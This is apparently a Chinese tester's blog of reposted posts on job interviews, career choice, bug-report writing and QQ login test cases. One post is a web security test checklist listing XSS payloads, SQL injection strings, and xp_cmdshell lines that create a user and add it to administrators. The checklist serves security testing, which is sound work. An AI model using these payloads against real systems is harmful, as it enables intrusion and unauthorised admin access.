海是我向往的地方,吸纳和咆哮是他的魅力!!!

发布新日志

  • 软件测试工程师面试后想说的(转

    2013-03-11 14:58:32

    昨晚正式收到支付宝的Offer,提交完离职申请,我的求职过程也就告于段落了。写下这篇文章,希望我的这些经历可以对正在求职的你能有点启发。

       首先,交代下我的背景,这样大家看的时候,就可以有个对比参照。我2010年7月份毕业于南京晓庄学院计算机专业,一所二本学校,经常用大学班主任的气 话来调侃“我是一所三流学校里面的二流学生”。在大学期间,成绩一般,没拿过一等,唯一一次有机会拿二等,还因为一门公共课挂科而取消资格,但也扎扎实实 学过一些专业课程,比如数据库、网络、C++编程。考研,挂了。大学毕业那会,因为一直在实习,就没正儿八经投过几份简历(现在再看我大学毕业时的简历,真是一塌糊涂),那时候面试过金蝶,失败,富士通的笔试都没过。所以可以讲,我毕业那会基本没有面试经验。后来,没办法就厚脸皮,外包进入实习的那家很牛逼的杀毒软件公司,入行软件测试。这一待就是二十九个月。

      在这两年五个月的时间里,开始我对软件测试知之甚少(大学课程中,也就软件工程课中提到过软件测试),利用工作间隙一点点学习:测试理论、JavaPython、设计模式,甚至学习过servlet、JSP,Spring框架……,现在看学的好混乱啊。同时,项目中接触到了自动化测试,就给自己定位要学好自动化测试。学习过程就不细述了,最后经过不断学习,我敢贴在自己简历中的技术背景是这样的:



       从八月底开始,到十二月初我差不多投递了80多封求职简历(还不算在51Job中申请的职位),80+的求职邮件,收到了差不多40封邮件反馈。九月中 旬,陆陆续续进入面试高峰期,有时,一周面三家单位,投的都是外地公司,所以接到都是四十分钟以上的电话面试。在这三个半月的时间里,我经历着“希望-失 望-又有希望-再一次失望”这样的煎熬,一次次失败,逼得我不断反思,我问自己问题出在哪?一遍遍修改求职简历,从措辞到排版,到最后甚至计较该用什么字 体,字体大小设置多大看起来比较美观。一遍遍独白面试第一部分的“自我介绍”,该如何有条理的把自己这两年所学,所做的事情阐述出来。更为重要的事,我开 始整理这两年所学,梳理那些测试理论,编程语言,项目经验。

      在决定换工作的时候,自己首先需要弄明白为什么要换工作?真的到了非换不 可的地步了吗?我不赞成轻率地、频繁地换工作,在我看来换一份工作成本还是蛮大的。但当我在这一个项目两年以上,当日常工作游刃有余,没有压力时,当我不 是很清楚地知道我该学些什么的时候,我知道该make change了。上周周会,看到项目未来半年的WBS,看到那些摊派到我头上的任务,我知道我做了正确的决定。促成我换工作的另一个原因是,这两年多来, 我一直待在同一个项目组,测试的是IBM的Domino邮件服务器相关,单一的项目经验,对我自身的发展有很大局限。况且在Domino日趋衰败大背景下,我想出去呼吸点互联网公司的气息。

       在这里,顺便谈下我对外包的看法。这两年多来,我一直是外包到一家跨国的杀毒软件公司,从事测试。在这里我遇到了我工作中的两位 Mentor(Rongting & Paul,当然他们是Regular),从他们那我学到了做事的方法,带着我学习提高,解答了我的很多问题,对我帮助很大。遇到了现在的Leader,他 对我的信任、认可,让我能有机会做更多的事,像设计测试用例、自动化测试开发、性能测试等。 整个Team氛围都很open, 能有机会参加基本所有的项目会议,参与讨论。一毕业就能有机会,在这样的大公司,在各种规范的流程指导下学习工作,我真的受益匪浅。我知道这是我的幸运, 不同的项目对外包的工作,管理都是不太一样,和Leader有很大关系。另一个项目外包的同事,进组一年多了,都没机会设计测试用例。这里我想讲的是,虽 然外包总给不了人一种归属感,但同时也让你有机会和一群比你厉害的人一起工作,要利用这样的工作机会向同事请教、学习,迅速提高自己。还有一点很重要,一 定要自信,如果你觉得你能胜任,就可以争取点不同的任务。

      当决定好要换工作后,下面就要开始准备你的简历了。简历是你的敲门砖,用人 单位看完你简历后,觉得合适,通过简历筛选,才能够获得面试机会。简历首先要真实,真实反映你所干过的活,所承担的角色,你的贡献,真实反映你的技术背 景。面试官一般会围绕你提供的简历,展开提问,你简历上所描述的,你一定要很有把握。第二点,简历拿出来要有亮点。一位测试前辈老师,看完我的简历给我建 议是“如果你觉得自己是实力派的人,在简历中要突出你的能力,过去的业绩亮点。”最后一点,如果应聘的是外企,或则职位描述是用英文来写的,一定要附上中 英文简历,要准备一份拿得出手的英文简历哦!锦上添花的是,如果你的简历排版简洁(中文简历一般不超过两页),美观,也会为你加分不少。

       如何获取职位信息?当我发现我在大型招聘网站(如51job,智联招聘)申请那些我向往的职位都没消息后,我就放弃在这类网站上申请职位了,还发现在这 些招聘网站上发布信息的就是那么几家公司,后来都懒得登入这些网站看了。那我的职位信息是从哪来的呢?答案是专业技术论坛,就测试而言,很多公司会在 51testing中发布职位信息,我的简历很大一部分都是投给了这些职位。一般还都能收到反馈,即使简历不合要求。十月份的时候,我发现很多人会在 weibo上发布职位信息,就开始关注weibo中发布的测试岗位了。后来,要我的那两家公司也都是我在weibo上看到的信息,投的简历。现在想想,在 大型招聘网站发布信息的都是HR,他们要在海量候选人中选择,被刷的概率更高。而利用论坛,weibo这些媒介发布信息的都是项目组的leader,他们 将身边的一些岗位需求发布出来,有合适的候选人就内推,将来如果你面试成功,他们也可以获得一笔奖金。还有一个好处是,面试结果后,你可以发邮件请帮你推 荐的人,查询面试结果。

      附上技术博客链接、Github账号,如果平日里你有写技术博客的习惯,或者参加过开源项目,有Github账号,都可以把链接帖在简历上。在面试的过程中,不只一次听面试官跟我讲,“我看过你写的文章,觉得写得挺不错”。这些都会为你的面试加分。

      利用好面试提问环节,一般面试结束前,面试官都会问你,有没有神马问题问他的?可以好好利用这个环节,一个漂亮的提问会为你加分哦!

      下面谈谈,我面试过一些的公司,以及这些公司对测试工程师的要求,可能具体的面试题记得不是很清了,就写个大概印象吧。

      ● 目前所在的杀毒软件公司 —— 对我帮助很大的一场面试

       这是上半年的一场面试,之所以放在这讲,因为这场面试让我认识到自身的一些不足。三月份的时候,在51job上看到南京焦点科技的专场招聘信息,周六下 午没事就过去了,后来顺利通过笔试面试,拿到Offer。在我和Leader谈准备离开的时候,Leader又帮我争取到了面试我所外派的这家公司的机 会。这算不上一次正式的面试,是周会结束后和QA Manager的一个小时左右的交流。一开始,是我讲进入项目组以来,我学到的知识,干的活,还有就是介绍自动化测试相关的。后来就是老板的提问,到现在 我还记得这些问题:

      1、作为一名QA,你是怎么理解“质量”这个概念的?

      2、Java的垃圾回收机制、内类的几种方式、堆和栈区别

      3、在写自动化代码中,用到了哪些设计模式?

      4、最近读过的关于软件测试的书,文章?有哪些给你留下了比较深的印象?

      5、职业发展规划

       回答这些提问时,我发现自己对测试的理解还是不深,对Java中的很多概念还是比较模糊。我突然意识到自己是有多浮躁。面试结束后,老板给了我些建议, 弄清基本概念,多读一些优秀的开源代码,不要贪多,一定要深入学习下去。那次面试后,我放弃了焦点科技的Offer,继续留在项目组,又系统学习了 Java编程思想,学习Junit那些框架的源码,并开了这个技术博客,逼自己要定期写文章。

      ● 四战IBM —— 英语口语要求较高

       从八月底到十二月初,这短短几个月里,我先后面试过IBM三个不同项目组,前后经历四波面试。七月初的时候,在Lotus中国社区看到Domino组在 招测试工程师,就试着投了简历,后来也一直没消息。八月底的一个周二,刚下班接到了北京IBM的电话,约周四上午电话面试。因为现在测试的产品是Hook 在Domino邮件服务器上的,在介绍所做的项目是,面试官问得很细致。接着细诉了,关键字实现、框架流程等。下面就是面试官提问:

      1、一些STAF/STAX的服务命令。

      2、自动化测试如何和CI系统集成。

      3、Domino中邮件路由过程

      4、算法题:一个字符串,如“This is atest!” ,输出“test a is This”,要考虑空间。

      5、设计模式:对单例模式的理解,有几种实现方式。

      6、Python:字符串查找

      7、口语题:你安排了一次团队活动,现在去给老板汇报,讲清楚:时间、地点、交通、具体活动安排。第二轮的时候,面试官会问,如果有一名RD手头有活,不愿意参加,你怎么说服他参加。

       这次面试,答得最差的题是口语题,基本是结巴着讲完的。准备面试的时候,没在网上搜过面经,根本没想过会有口语考核。血的教训啊,我后来面试外企的时 候,都会提前问下有没有口语。这里顺便讲下有意思的事,面试完后,我在一个Lotus技术QQ群里问,有没有IBMer,问面试IBM多长时间有结果,没 想到的是,居然有人小窗找我,是NW,NW是IBM Lotus Notes组的工程师,NW讲,看到群里的QQ名,猜出了我就是前两天面试的人。原来,我的简历就是他挑选出来的。这个世界真小。后来他帮我查了面试结 果,“HELD – wait for manager interview if no better candidate”,评价是“Java基础扎实,有自动化开发经验,但口语有待提高”。后来也没有接到进一步的消息,哎,感叹当了次备胎,失败了。

       九月份的时候,在人人网IBM公共主页看到宁波研发中心招聘测试工程师,投简历,电话面试,也没消息了。十月份在weibo中看到发布招聘测试工程师, 要求懂Java,有自动化开发经验。投简历,一轮电话面试,居然是IBM System i 项目组,二轮电话面试,后来又没消息了。需要说的是,这两个组的面试也都有英文对话。

      十一月底的时候,在weibo中看到老高发的招 聘信息,要求“Java编程有所涉猎。软件测试流程和工具熟练掌握。对自动化测试,尤其是GUI程序的自动化测试有扎实经验”。后来知道老高是IBM Lotus Notes组的老板。老高将我的简历给了Domino组的老板沙。周一的时候,沙约我视频面试,当时在Office,没法进行,下午沙和另一位同事,电话 面试了40分钟,视频面试推迟到晚上。视频最后,沙问了我期望薪水、到岗时间,最后沙讲,年底了headcount很紧,明年应该会有名额。第二天问 NW,NW帮我查了面试结果,从面试记录上看,通过了。周三的时候,收到电话让我填写内部推荐的一个表格,就在我以为没问题的时候,接下来的周一,沙打电 话给我,肯定了技术,但是因为年底没有名额了,来年再看。让keep in touch ,坑爹啊!

     ●百度—— 技术要求很高

       六月份的时候,Paul让我给他一份简历,项目组缺人,结果那次简历没通过筛选。十一月份中旬的时候,百度又在招人,Paul问我要了最新的简历,又帮 我推荐了次。Paul还给我讲了可能会问到哪一类的题目,比如算法。当时项目比较忙,考虑到时间有限,我就没花心思去准备算法。这个决定让我很后悔。面试 也是,首先自我介绍,介绍所做的项目,在项目中的角色,做了哪些事情。来看看Baidu一面的问题:

      1、在自动化实施过程中成本最大的一部分是什么

      2、在实现自动化过程遇到的最大困难,是如何解决的?

      3、Java:HashMap与HashTable的区别

      4、Java:对抽象类与接口的理解

      5、设计模式:如何实现线程安全的单例模式

      6、设计模式:监听者模式

      7、算法题:判断一个链表是否有环

      8、算法题:字符串左旋

      9、算法题:二叉树中,两个节点间的最大路径。

       面试到最后,想死的心都有,算法题懵了。后来在网上搜面经,发现这些都是常见的算法面试题,如果事先稍微准备下,就不会这么被动了。面试结束 后,Paul帮我查了下面试结果,Pending。Paul让我准备第二轮面试,接下来的一周,我都在复习算法知识。一周后的周四,二面百度:

      1、自动化框架的实现,为什么这么做?

      2、自动化过程中遇到的难点,困难?

      3、面向对象的特性,简单阐述这些特性带来的优势

      4、接口与抽象类的区别

      5、异常类处理机制

      6、反射机制,在实际写代码中应用

      7、final,finally,finalize的区别

      8、有没有用过spring框架

      9、测试用例设计题:就linux下的CP命令设计测试用例。

      10、如果让你设计一些log监控系统,你会从哪些方面考虑?

      二面表现一般,但因为一面算法部分答得太差,最后没能进入三面。我的感觉,百度对技术要求真的很高,测试人员面试考算法的很少。如果大家将来面试百度,可以在网上找找相关的面经,做做类似的算法题,会有很大帮助。

      ● 红帽软件(Redhat) —— 各种假设

       我是几乎同时接到百度、支付宝、Redhat的面试邀请的。相比其他公司,红帽好像更注重员工的工作习惯的考核。红帽的一面顺利通过,二面结束一周后, 查看面试状态“no longer in consideration”。在技术上面的问题,我有印象的好像有这么几道,“自动化框架,关键字实现的Java代码总共有多少行”,“Python程 序共有多少个module”,“两个Linux系统之间如何传文件” 。来看看其他问题:

      1、如果让你带实习生,实习生每天有很多问题,这可能会打乱你的工作,你会怎么处理?

      2、如果到了预订日期,你的工作还没完成,你会怎么办?

      3、当你和其他同事,在技术方案的选择上发生争执,怎么办?你会如何说服他

      4、用十个以内的词来形容你自己

      5、用英文描述下你的兴趣爱好

      ● 其他一些公司

       Dell开始提供面试机会的是一个开发岗位,因为我觉得不合适,HR帮我推荐了一个虚拟化的职位,因为这是一个纯手工测试的岗位,我个人不是太感冒,面 试一轮后就没消息了,我想说的是,Dell的HR manager Ripple是我遇到过的最nice的HR了,你有任何疑问邮件咨询,她会第一时间电话解答,并邮件确认。赞一个。HP的职位是我在51job中看到的, 但也是发邮件申请的,面试挺顺利的,最后谈到了薪资这一块,但后来居然没消息了,接着传来了HP在裁员的消息。360的 面试,就记得问过我,“闰秒”,“32位系统,和64位系统下的测试有何不同”,说实话,这两问题我真不知道。赛门铁克,面过,没留下任何印象。 VMWare很向往的一家公司,但自动化测试偏重于UI方面的,问过的技术问题:hashmap与hasptable的区别,讲讲java collection framework的了解,Java反射机制。

      ● 支付宝 —— make it

      支付宝的职位信息也来自weibo,看下面的截图:



      投完简历不到一周时间,周四下午的四点多钟接到电话,有点奇怪的是支付宝并没有像其他公司一样,事先约定面试时间,而是直接就开始面试了。面试进行了四十多分钟,比较顺利,最后面试我的女生问,支付宝需要经常加班,你可以接受吗?

      接下来的周一,接到支付宝HR到杭州面试的邀请。面试定在周五中午十一点,我是周四晚上到杭州的,住在支付宝附近的汉庭,晚上快十一点了,支付宝大楼依旧灯火通明。第一轮,是两位工程师面的,挺顺利的。很从容的拿着笔在白板墙上讲解自动化框架、流程。面试官问了:

      1、自动化测试执行时间,容错处理机制

      2、Robot Framework 框架的优缺点

      3、自动化测试下一步的有哪些可以提高的地方

      4、Java的多态机制

      5、平日工作是如何设计测试用例,讲解下目前所测产品的一个模块的测试用例设计策略

      6、在整个项目周期中,测试要做哪些事情

      第一轮面试,大概进行了一个小时十分钟,接着休息了五分钟后,进入第二轮面试。第二轮面试,面试官是测试总监、HR。第二轮面试,简单阐述了目前的项目,我所做的事情。后来就是提问了:

      1、C++和Java对内存的操作有何区别?Java的垃圾回收机制为什么不能避免内存泄露问题?

      2、熟悉哪些网络协议?

      3、不同网段的两台机器是如何通信的?

      4、考研了吗

      5、大学同学都从事哪些方面的工作(hr问)

      最后,面试结束后,总监问我有什么问题?这个环节我准备的问题是,之前项目周四学习小组一起学习ET时,看taobao的探索式测试白皮书时,提出的疑问。听到这个问题后,总监笑了,说这个问题问得好,但我没法解答你,我也疑惑呢。

       当我走出面试的那个房间时,我心里有80%的把握。接下来的两周是漫长的等待,因为支付宝面试不通过是发拒信的,我不时刷新我的邮箱,期盼着结果。最后 实在忍不住,托帮我投递简历的人,查看了面试状态,答复“结果还好,但还没最后结果还在确认中”。第三周的时候,接到HR电话,聊了下薪资期望。第四周, 开始有点睡不踏实了,真的很渴望这份Offer,我打电话一再和HR确认,周五晚上六点五十,收到了最终Offer。

      结束语:大学毕 业的那年春天去国展中心的招聘会,人头攒动,那时候的我很茫然,不知道自己能找到什么样的工作,也不是很清楚自己想要什么样的工作。这两年来我一直在努 力,慢慢的我知道了自己想要找什么样的工作,渐渐地我也知道了我能找到什么样的工作。这条路,谈不上曲折,我一步步踏踏实实地走来
  • WEB安全性测试测试用例(基础1)

    2012-02-13 16:02:09

    WEB安全性测试测试用例(基础)一.doc
    2011-10-19 9:19

    建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、 注入、身份验证和授权错误.

    1.     输入验证

    客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)

    1.输入很大的数(如4,294,967,269),输入很小的数(负数)

    2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

    3.输入特殊字符,:~!@#$%^&*()_+<>:{}|

    4.输入中英文空格,输入字符串中间含空格,输入首尾空格

    5.输入特殊字符串NULL,null0x0d 0x0a

    6.输入正常字符串     

    7.输入与要求不同类型的字符,如要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值要求输入字母则检查输入数字

    8.输入htmljavascript代码

    9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化

    例如:

    1.输入<html”>”gfhd</html>,看是否出错

    2.输入<input type=text name=user/>,看是否出现文本框

    3.输入<script. type=text/javascript>alert(提示)</script>看是否出现提示

     

    关于上传:

    1.上传文件是否有格式限制,是否可以上传exe文件;

    2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;

    3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;

    4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

    5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。

    6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。

    7.对于文件名中带有中文字符,特殊字符等的文件上传。

    下载:

    避免输入:/../web.修改命名后缀。

     

    关于URL

    1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;

    2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;

    3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

    4.输入善意字符。

     

    UBB:

     

    [url=http://www.****.com] 你的网站[/url]

    1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

    2.UBB代码中加入属性,如样式,事件等属性,看是否起作用

    3.输入编辑器中不存在的UBB代码,看是否起作用

     

    [url=javascript.:alert('hello')]链接[/url]

    [email=javascript.:alert('hello')]EMail[/email]

    [email=yangtao@rising.com.cn STYLE="background-image: url(javascript.:alert('XSS'))"]yangtao@rising.com.cn[/email]

     

    [img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript.:alert('alert(xss)'))"[/img]

    [img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]

     

    [b STYLE="background-image: url(javascript.:alert('XSS'))"]一首诗酸涩涩服务网[/b]

    [i STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/i]

     

    [u]一二三四五六七北京市[/u]

    [font=微软雅黑" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/font]

    [size=4" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/size]

    [color=Red" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/color]

    [align=center" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/align]

    [float=left" STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/float]

    [font=微软雅黑 STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/font]

    [size=4 STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/size]

    [color=Red STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/color]

    [align=center STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/align]

    [list=1]

    [*]一二三四五六七北京市[/list]

    [indent]一二三四五六七北京市[/indent]

    [float=left STYLE="background-image: url(javascript.:alert('XSS'))"]一二三四五六七北京市[/float]

    [media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

     

    2.     输出编码

    常用的测试输入语句有:

    <input type="text"/>

    <input/>

    <input/  

    <script>alert('hello');</script>

    1.jpg" nmouseover="alert('xss')

    "></a><script>alert(xss);</script>

    http://xxx';alert('xss');var/ a='a

    ‘”>xss&< 

    a=”/” ; b=”;alert(/xss/);//”

    <img src=输出内容 border=0 alt=logo />

    “’”

    ‘”’

    “””

      

    “”“

    “‘ 

    title=””

    对输出数据到输出数据的对比,看是否出现问题。

     

     

    3.     防止SQL注入

    Admin--

    or -------

      and  (   )   exec   insert   *   %   chr   mid   

    and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)   %20AND%201=2

    ‘and 1=1    ;  ‘And  1=1   ;   ‘aNd   1=1   ;

    and 1=2    ;   ‘and 1=2

    and 2=2

    and user>0

    and (select count(*) from sysobjects)>0

    and (select count(*) from msysobjects)>0

    and (Select Count(*) from Admin)>=0

    and (select top 1 len(username) from Admin)>0(username 已知字段)

    ;exec master..xp_cmdshell “net user name password /add”—

    ;exec master..xp_cmdshell “net localgroup name administrators /add”—

    and 0<>(select count(*) from admin)

    简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户,可以用where name=nchar(29992)+nchar(25143)代替。

     

     

    http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

  • (高级测试工程师)的职业选择(转)

    2011-12-01 14:48:22

    一个女研究生(高级测试工程师)的职业选择

    字体:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推荐标签: 软件测试 测试职业发展

      公司选择

      终于下定决心要离开,我想去的是重视测试的外企或大公司。

      我的逻辑很简单,测试在国内还未获得足够的重视,即使很多公司有测试,也是一些非常表层的测试,只有在规范的公司的测试才做得深入。在长达两个多月的面试和等待中,终于等来了我想要的机会,不过,选择摆在面前的机会,也不是一件轻松的事情。

      公司A,是一家具有一百多年历史的外企, 也是在IT行业非常有名的公司,专注于通信领域。这个公司提供给我的机会是高级软件测试工 程师,主要负责软件测试,年薪比现在高50%。不过我看重的并不是这个公司提供给我的职位,也不是薪金,这些对我而言都没有太大的吸引力。吸引我的是这个 公司本身完善的管理制度、规范的测试流程、先进的测试工具与测试方法、完善的培训机制以及全球共享的资源,当然,更重要的是公司的文化。

      我现在所积累的测试技术,都是自己在测试的过程中摸索出来的,没有经过规范的培训;所使用的测试工具,也是自己在业余时间学习的,也没有深入应用到测试中。虽然说积累了一些测试经验,但还不够深入、也不够专业,我希望自己能够有一个完善的培训机会,也希望自己能够系统地深入学习测试技术与测试工具。而且,在一个全球化的公司工作,不但可以增长自己的见识,也可以进一步提高自己的整体素质,还可以加强自己的英文水平。

       我对这个公司的印象很好,这源于业内对它的评价,也源于在面试过程中面试官问问题的水平以及对应聘者的态度。面试是一个双向选择,是企业在考核应聘者, 也是应聘者在选择企业。在面试过程中的有一个小细节让我非常感动,hiring manager在用英文跟我交谈的过程中,有句话听不明白,重复问了她一遍,但她第二次给我复述后我还是不能马上领悟某个单词的意思,结果,她很耐心地换 了一种方法问我,当我回答清楚她的问题后,自然也马上明白她所说的单词的中文含义了。

      这是一个小小的细节,但透过这个细节,可以体会到 她对人的尊重,她没有因为我不明白某个单词否认了我的英文水平或我的能力,跟着这样的manager干活,是一件幸运的事情。而且,不管是hiring manager的技术面试,还是PM的项目面试,或者是后来的HR Manager的综合素质面试,他们所问的问题都非常专业,与他们的交谈也非常愉快。不过,在这样大型的外企工作,在管理层的发展机会相对较少,带领团队 干活的机会相对也较少。而我,相对于单纯的技术而言,更喜欢一些沟通协调的工作。

      公司B,是一家在国内迅速发展的私企,也是在国内非常 有名的公司,而且很需要人才也很珍惜人才。这个公司提供给我的机会是高级软件测试工程师,主要负责软件测试和流程改进,年薪是现在的两倍。说句心里话,这 个公司最吸引我的是薪金,在那里干一年就可以有我现在两年的收入,不能不另人心动。而且,更重要的是,他们对我的赏识与信任,这样的工资水平自然是对我能 力的肯定,也是希望通过薪金吸引我过去。

      在面试的交谈中,他们对我的CMMI5实施经验以及缺陷追踪经验很感兴趣,希望我能过去跟他们 一起规范公司的测试与开发流程,这自然提供了我一个施展的机会。公司B的规模,与我现在公司的规模相差不大,工作环境也相差不大,也是一个给活你干让你自 己去摸索自己成长的公司,这样的跳槽,在工作环境或平台上并没有太大的突破,变化的是我的报酬。我已经这样摸索了四年,我会想换一个平台,接触一些规范的 管理、接触一些先进的技术,当然,也想得到一些规范的指导。

      公司C,是国内通信行业非常出名的一个国企,是大多数女孩子向往的地方。这 个公司提供给我的机会是测试主管,年薪也是比现在高50%。吸引我的,是测试主管这个机会,相对于技术,我更擅长也更喜欢带领一个团队,我喜欢沟通协调多 过技术,这也是我自己想发展的方向。不过,我不太喜欢国企,不喜欢里面的形式化与口号,也不喜欢里面死板的管理,更加不喜欢里面复杂的人际关系。而且,在 面试时他们问的问题不够专业,我感觉他们并没有考核出我的真实水平,就这样把一个主管的机会给了我,反而让我觉得公司不够专业。

      我的大多数朋友,在选择的时候看的都是工资水平,他们建议我哪个公司给的工资高就去哪个公司,因为生活很现实,我们需要生存。也有朋友建议我去国企,因为他们觉得,在国企相对来说稳定、悠闲、福利好,对于女孩子来说,是一个很不错的选择。而我自己,在意的是在这个公司工作三年或五年或十年后,我会是怎样的一个人。

       如果在一个公司工作三年后,我还是跟现在差不多,那么三年后我肯定是失去了竞争力。现在的工资肯定是选择的一个重要因素,但我觉得目光不能停留在眼前, 而是这个选择是否会让自己开心、是否能让自己增值、是否有利于长远的发展。早在一年前,我的朋友就建议我离开,因为我的工资与我的付出不合理,但我还是坚 持留下,一方面是我在现在的团队中干得很开心,这是钱所不能买到的,另一方面是我觉得在现在的公司还有很多机会可以让我增值,也有很多机会让我学习让我成 长。如果当初选择了离开,我就不可能有机会主导一个全新架构的系统开发,也不可能有机会参与CMMI L5的流程改进与评估,我也就可能不会成长成今天可以主动选择机会的人了。所以,我觉得,人的眼光不能只看眼前,而要放得更远一些。

       公司A是我最想去的公司,因为直觉告诉我在里面我会有一个质的改变,在那里会学习到很多先进的管理方法与测试 ,但我也会有些担心机遇不多,我想往管理方面发展的机会不多。如果没有公司B翻倍的年薪以及他们对我的赏识与信任,我会毫不犹豫地选择公司A,但翻倍的薪 金是一个诱惑,他们想让我主导公司的流程改进也是一个诱惑。

      相对于公司A来说,B公司会有更多的机会让我往管理层发展。不过,公司B与 我现在的工作平台差不多,自己在技术上摸索了这么长时间,一点一滴的积累,自然也让我成长了,但这样的一个积累会有一个局限性。在我的身边,我的测试水平 是不错的,但是,如果跟国际水平相比,我还有很多不足的地方,还有很多需要学习的地方。而且,公司也B不会有那么完善的测试环境,也不会舍得像公司A那样 投入那么多的资源在软件测试中,测试肯定不会像公司A那样专业、规范。

      而我自己,很想与别人分享自己所积累的东西,同时也希望能够以学 习的姿态成长,这是A公司能给我而B公司所不能给的。如果真的用心去学、用心去做,我相信在公司A会有一个质的提高,也会在公司A会有一个更加好的发展, 因为在外企,只要有能力只要肯努力,机会是公平的。我也相信,自己的能力不差,只要用心做好每一件事情,机会自然就来了。退一步说,即使没有往管理层发展 的机会,从里面出来,也会很不一样。那50%的年薪,就当是继续深造的学费。毕竟,机会的选择,不能只看钱,也不能只看眼前
  • 怎么写bug才能不被开发人员讨厌?(转)

    2011-09-22 13:19:03

     Ayi 问: 请问怎么写 bug 才能不被开发人员讨厌?

      davy_chen 答:

      1、描述精确,完整;

      2、简洁,无歧义;

      3、可稳定复现;

      4、利用截图,调试信息等辅助说明;

      5、反馈验证结果及时,变化内容描述详尽。不被开发人员讨厌最主要的是建立威信,也就是你说出的都是真实的,你说有 bug 就确实存在。

      6、若对于很难重现的 Bug 还需要注明该 Bug 在测试过程中出现的几率。

      sww1980 答:

      1、不被讨厌不一定用写 bug 的方式,跟开发人员搞好关系也很重要。

      2、只要有 bug, 开发人员肯定会烦,这时候你的亲和力就尤为重要,让开发人员觉得你不是在挑他的毛病,

      而是想一起开心的把软件做好。

      小颖 答:

      1、如果能够指出 bug 的原因或出处一方面可以让开发人员感觉你的水平比较高,另一方面减少了开发人员找错的时间,他会心服口服。

      2、在有不要抓住一些规范性的错误不放,应该发现一些有深度的错误,功能实现是重要的

      celine 答:

      我觉得沟通很重要,尝试站在开发人员的角度上描述问题,而且要对事不对人。

      gigobin 答:

       1、开发人员喜欢的 bug ,是能够一幕了然知道出现了什么样的问题,然后是一个简洁的复显问题的步骤。 一般我都习惯于先写一个简单的问题的 brief ,一句话,比如:在 xxx 输入某字符后,点击 save 报 500 错误。 然后下面是你的测试端的配置。然后是你的测试平台的情况。这些都是参考。 然后就是第一步怎么做,第二步怎么做,......,然后出现了什么错误。 最好是一个 bug 里面只有一个问题。这样便于大家跟踪状态。

      2、对于交流问题,我觉得如果有一个好的 bug 平台,在一个清楚的 bug 时,很少需要开发人员和测试人员交流。尤其是什么是不是一个问题时,如果开发人员认定不是,不需要太多的纠缠。除非你认为这个将非常有损客户的利益。而且 这个时候应该报知测试 leader 去和开发 leader 进行协调。 而且尽量不要去写我认为这个问题是什么引起的,应该怎么改。你只需要保证开发人员能够复显就可以了。过多的涉及这个问题,会牵扯双方的精力。你的任务是发 现问题,报告问题,追踪问题而不是解决问题。

      3、测试人员不是在找开发人员的错,也不是开发人员的矛盾体。测试人员是帮助开发人员节省 精力去找出错误,修改错误的。一个好的开发人员是不会因为测试人员找出他很多错误而烦恼的,因为不断改进错误的同时,是对他的一个提高。一个好的产品团队 是协作良好的开发团队,测试团队以及管理组和设计核心组组成的。

  • QQ登陆测试用例(转)

    2011-06-02 09:44:18

    希望能设计出很详细的测试用例。
    QQ登陆的输入项为QQ号码(长度为5到10位数)和QQ密码,登陆和退出按钮,一台机器可以同时登陆超过一个QQ号码,请设计功能测试用例。

    快捷键的使用是否正常:

      1. TAB 键的使用是否正确

      2.上下左右键是否正确

      3.界面如果支持 ESC键 看是否正常的工作

      3.ENTER 键的使用是否正确切换时是否正常。

      布局美感

      界面的布局是否符合人的审美的标准

      具体因人而依

      输入框的功能:

      输入合法的用户名和密码可以成功进入

      输入合法的用户名和不合法密码不可以进入,并给出合理的提示

      输入不合法的用户名和正确密码不可以进入,并给出合理的提示

      输入不合法的用户名和不正确的密码不可以进入,并给出合理的提示

      不合法的用户名有:不正确的用户名,,使用了字符大于用户名的限制

      正常用户名不允许的特殊字符 空的用户名,系统(操作系统和应用系统)的保留字符

      不合法的密码有:空密码(除有特殊规定的),错误的密码,字符大于密码的限制

      正常密码不允许的特殊字符,系统(操作系统和应用系统)的保留字符

      界面的链接:

      对于界面有链接的界面,要测试界面上的所有的链接都正常或者给出合理的提示

      补充

      输入框是否支持 复制和黏贴 和移动

      密码框显示的不要是具体的字符,要是一些密码的字符

      验证用户名前有空格是否可以进入,一般情况可以。

